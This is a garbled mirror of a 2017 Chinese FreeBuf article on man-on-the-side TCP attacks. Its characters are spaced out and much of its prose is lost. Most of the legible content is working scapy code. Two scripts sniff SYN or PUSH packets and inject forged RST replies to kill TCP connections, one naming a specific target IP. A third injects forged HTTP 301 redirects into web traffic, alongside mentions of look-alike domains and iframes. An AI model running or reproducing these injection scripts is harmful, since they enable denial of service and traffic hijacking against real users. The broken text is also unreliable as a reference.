[11564] 2017-07-19_MOTS攻击之TCP攻击

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2017-07-19_MOTS攻击之TCP攻击 M O T S T C P   f e i n i a o   F r e e B u f   2 0 1 7 - 0 7 - 1 9 * f e i n i a o F r e e B u f 1 .     M O T S M O T S     M a n - O n - T h e - S i d e ;   M I T M   M I T M     M a n - I n - T h e - M i d d l e M O T S     T C P / I P   M O T S     A t t a c k   M O T S U D P : M O T S M O T S U D P T C P / I P : T C P U D P T C P T C P w e b T C P D O S 2 .     D O S 2 . 1     I P S Y N S Y N + A C K r e s e t T C P D O S S Y N S Y N r e s e t r e s e t D O S
2 . 2   D O S T C P D O S 1 r e s e t 2 T C P   S Y N 3 T C P   S Y N r e s e t 2 . 2 . 1   s c a p y T C P D O S p y t h o n s c a p y p y t h o n p y t h o n 使 W i n 1 0   P r o + P y t h o n 3 . 6 p y t h o n   3 . 6 :   p i p   i n s t a l l   s c a p y 2 . 2 . 2   r e s e t r e s e t T C P r e s e t a c k a c k = s e q + 1 r e s e t T C P T C P r e s e t f i n T C P 使 F I N 使 r e s e t 2 . 2 . 3  
c o d i n g : u t f - 8 d a t e : 2 0 1 7 - 0 7 - 0 7 a u t h o r : f e i n i a o V e r s i o n : 1 . 0 f r o m   s c a p y . a l l   i m p o r t   * i m p o r t   r a n d o m 1 w i n d o w s , 使 s h o w _ i n t e r f a c e s ( ) 2 使 c o n f . i f a c e = 3 l i n u x s n i f f ( ) c o n f . i f a c e = I n t e l ( R )   D u a l   B a n d   W i r e l e s s - A C   8 2 6 0 i p i d t t l i p i d   =   r a n d o m . r a n d i n t ( 1 , 6 5 5 3 5 ) i p t t l   =   r a n d o m . r a n d i n t ( 4 5 , 8 0 ) t c p s e q   =   r a n d o m . r a n d i n t ( 1 , 4 2 9 4 9 6 7 2 9 5 ) d e f   b u y i n g ( t c p m o t s ) : r e s p   =   E t h e r ( ) / I P ( ) / T C P ( ) T C P r e s p [ T C P ] . d p o r t   =   t c p m o t s [ T C P ] . s p o r t r e s p [ T C P ] . s p o r t   =   t c p m o t s [ T C P ] . d p o r t r e s p [ T C P ] . a c k   =   t c p m o t s [ T C P ] . s e q   +   1 r e s p [ T C P ] . f l a g s   =   R A r e s p [ T C P ] . w i n d o w   =   0 I P r e s p [ I P ] . s r c   =   t c p m o t s [ I P ] . d s t
r e s p [ I P ] . d s t   =   t c p m o t s [ I P ] . s r c r e s p [ I P ] . t t l   =   i p t t l r e s p [ I P ] . i d     =   i p i d r e s p [ E t h e r ] . s r c   =   t c p m o t s [ E t h e r ] . d s t r e s p [ E t h e r ] . d s t   =   t c p m o t s [ E t h e r ] . s r c T C P   D O S   s e n d p ( r e s p , c o u n t = 1 ) p r i n t ( T C P   D O S   , r e s p [ I P ] . d s t , ) i f   n a m e   = =   m a i n : s n i f f ( p r n = b u y i n g , f i l t e r = t c p [ t c p f l a g s ] & ( t c p - s y n ) ! = 0   a n d   t c p [ t c p f l a g s ] & ( t c p - a c k ) = = 0 ) p y t h o n   t c p s y n d o s . p y S Y N r e s e t 1 9 2 . 1 6 8 . 0 . 1 0 5 S Y N 1 1 8 . 1 8 4 . 3 2 . 9 3 r e s e t r s t a c k 1 9 2 . 1 6 8 . 0 . 1 0 5 1 1 8 . 1 8 4 . 3 2 . 9 3 s y n + a c k T C P r e s e t T C P 使 W i n d o w s 1 0   P r o r e s e t r e s e t R S T : h t t p : / / w w w . v a n t s . o r g / ? p o s t = 1 4 0 r e s e t r e s e t
2 . 2 . 4   r e s e t D O S s e q = x a c k = x + 1 a c k ! = x + 1 r e s e t a c k r e s p [ T C P ] . a c k   =   0         / / a c k D O S 2 . 3   D O S D O S D O S P U S H D O S c o d i n g : u t f - 8 d a t e : 2 0 1 7 - 0 7 - 1 1 a u t h o r : f e i n i a o V e r s i o n : 1 . 0 f r o m   s c a p y . a l l   i m p o r t   * i m p o r t   r a n d o m r e s p [ T C P ] . f l a g s =   " S A "
1 w i n d o w s , 使 s h o w _ i n t e r f a c e s ( ) 2 使 c o n f . i f a c e = 3 l i n u x s n i f f ( ) c o n f . i f a c e = I n t e l ( R )   D u a l   B a n d   W i r e l e s s - A C   8 2 6 0 i p i d t t l i p i d   =   r a n d o m . r a n d i n t ( 1 , 6 5 5 3 5 ) i p t t l   =   r a n d o m . r a n d i n t ( 4 5 , 8 0 ) t c p s e q   =   r a n d o m . r a n d i n t ( 1 , 4 2 9 4 9 6 7 2 9 5 ) d e f   b u y i n g ( t c p m o t s ) : r e s p   =   E t h e r ( ) / I P ( ) / T C P ( ) T C P r e s p [ T C P ] . d p o r t   =   t c p m o t s [ T C P ] . s p o r t r e s p [ T C P ] . s p o r t   =   t c p m o t s [ T C P ] . d p o r t r e s p [ T C P ] . s e q   =   t c p m o t s [ T C P ] . a c k r e s p [ T C P ] . a c k   =   t c p m o t s [ T C P ] . s e q   +   l e n ( t c p m o t s [ T C P ] . l o a d ) r e s p [ T C P ] . f l a g s   =   R A r e s p [ T C P ] . w i n d o w   =   0 I P r e s p [ I P ] . s r c   =   t c p m o t s [ I P ] . d s t r e s p [ I P ] . d s t   =   t c p m o t s [ I P ] . s r c r e s p [ I P ] . t t l   =   i p t t l r e s p [ I P ] . i d     =   i p i d r e s p [ E t h e r ] . s r c   =   t c p m o t s [ E t h e r ] . d s t r e s p [ E t h e r ] . d s t   =   t c p m o t s [ E t h e r ] . s r c T C P   D O S   s e n d p ( r e s p , c o u n t = 1 )
p r i n t ( T C P   D O S   , r e s p [ I P ] . d s t , ) i f   n a m e   = =   m a i n : s n i f f ( p r n = b u y i n g , f i l t e r = t c p [ t c p f l a g s ] & ( t c p - p u s h ) ! = 0   a n d   d s t   h o s t   1 1 8 . 1 8 4 . 3 2 . 9 3 ) P U S H r e s e t r e s e t r e s e t T C P D O S 2 . 4   2 . 4 . 1   使 V P X h t t p s 2 . 4 . 2   M O T S   T C P   D O S s y n r e s e t r e s e t s y n + a c k a c k ( 1 0 m s ) s y n + a c k 3 .     T C P
3 . 1   广 3 . 2   3 0 1 f r e e b u f c o d i n g : u t f - 8 n a m e : h t t p   m o t s   a t t a c k d a t e : 2 0 1 7 - 0 7 - 1 1 a u t h o r : f e i n i a o V e r s i o n : 1 . 0 f r o m   s c a p y . a l l   i m p o r t   * i m p o r t   r a n d o m 1 w i n d o w s , 使 s h o w _ i n t e r f a c e s ( ) 2 使 c o n f . i f a c e = 3 l i n u x s n i f f ( ) c o n f . i f a c e = I n t e l ( R )   D u a l   B a n d   W i r e l e s s - A C   8 2 6 0 i p i d   =   r a n d o m . r a n d i n t ( 1 , 6 5 5 3 5 ) i p t t l   =   r a n d o m . r a n d i n t ( 4 5 , 8 0 ) t c p s e q   =   r a n d o m . r a n d i n t ( 1 , 4 2 9 4 9 6 7 2 9 5 ) # H T T P   3 0 1 d a t a   =   H T T P / 1 . 0   3 0 1   M o v e d   P e r m a n e n t l y r n d a t a   + =   S e r v e r :   A p a c h e / 1 . 3 . 1 7   ( U n i x )   P H P / 4 . 0 . 4 r n d a t a   + =   L o c a t i o n :   h t t p : / / w w w . f r e e b u f . c o m r n d a t a   + =   C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = i s o - 8 8 5 9 - 1 r n d a t a   + =   C o n n e c t i o n :   c l o s e r n d a t a   + =   r n d e f   b u y i n g ( h t t p m o t s ) :
r e s p   =   E t h e r ( ) / I P ( ) / T C P ( ) / d a t a T C P r e s p [ T C P ] . d p o r t   =   h t t p m o t s [ T C P ] . s p o r t r e s p [ T C P ] . s p o r t   =   h t t p m o t s [ T C P ] . d p o r t r e s p [ T C P ] . s e q   =   h t t p m o t s [ T C P ] . a c k r e s p [ T C P ] . a c k   =   h t t p m o t s [ T C P ] . s e q   +   l e n ( h t t p m o t s [ T C P ] . l o a d ) r e s p [ T C P ] . f l a g s   =   A r e s p [ T C P ] . w i n d o w   =   1 2 3 4 5 I P r e s p [ I P ] . s r c   =   h t t p m o t s [ I P ] . d s t r e s p [ I P ] . d s t   =   h t t p m o t s [ I P ] . s r c r e s p [ I P ] . t t l   =   i p t t l r e s p [ I P ] . i d     =   i p i d r e s p [ E t h e r ] . s r c   =   h t t p m o t s [ E t h e r ] . d s t r e s p [ E t h e r ] . d s t   =   h t t p m o t s [ E t h e r ] . s r c T C P   D O S   s e n d p ( r e s p , c o u n t = 1 ) p r i n t ( H T T P , r e s p [ I P ] . s r c , ) i f   n a m e   = =   m a i n : H T T P G E T s n i f f ( p r n = b u y i n g , f i l t e r = t c p [ ( ( t c p [ 1 2 : 1 ] & 0 x f 0 ) > > 2 ) : 4 ] = 0 x 4 7 4 5 5 4 2 0   a n d   n o t   h o s t   1 2 0 . 5 5 . 2 2 6 . 2 0 7 ) w w w . c i s c o . c o m , w w w . f r e e b u f . c o m c i s c o f r e e b u f w w w . c i s c 0 . c o m   w w w . c l s c o . c o m X : 3 0 2   i f r a m e   i f r a m e  
使   p y t h o n     s c a p y _ h t t p . h t t p   p y t h o n     s c a p y     h t t p     s c a p y _ h t t p . h t t p   3 . 3  
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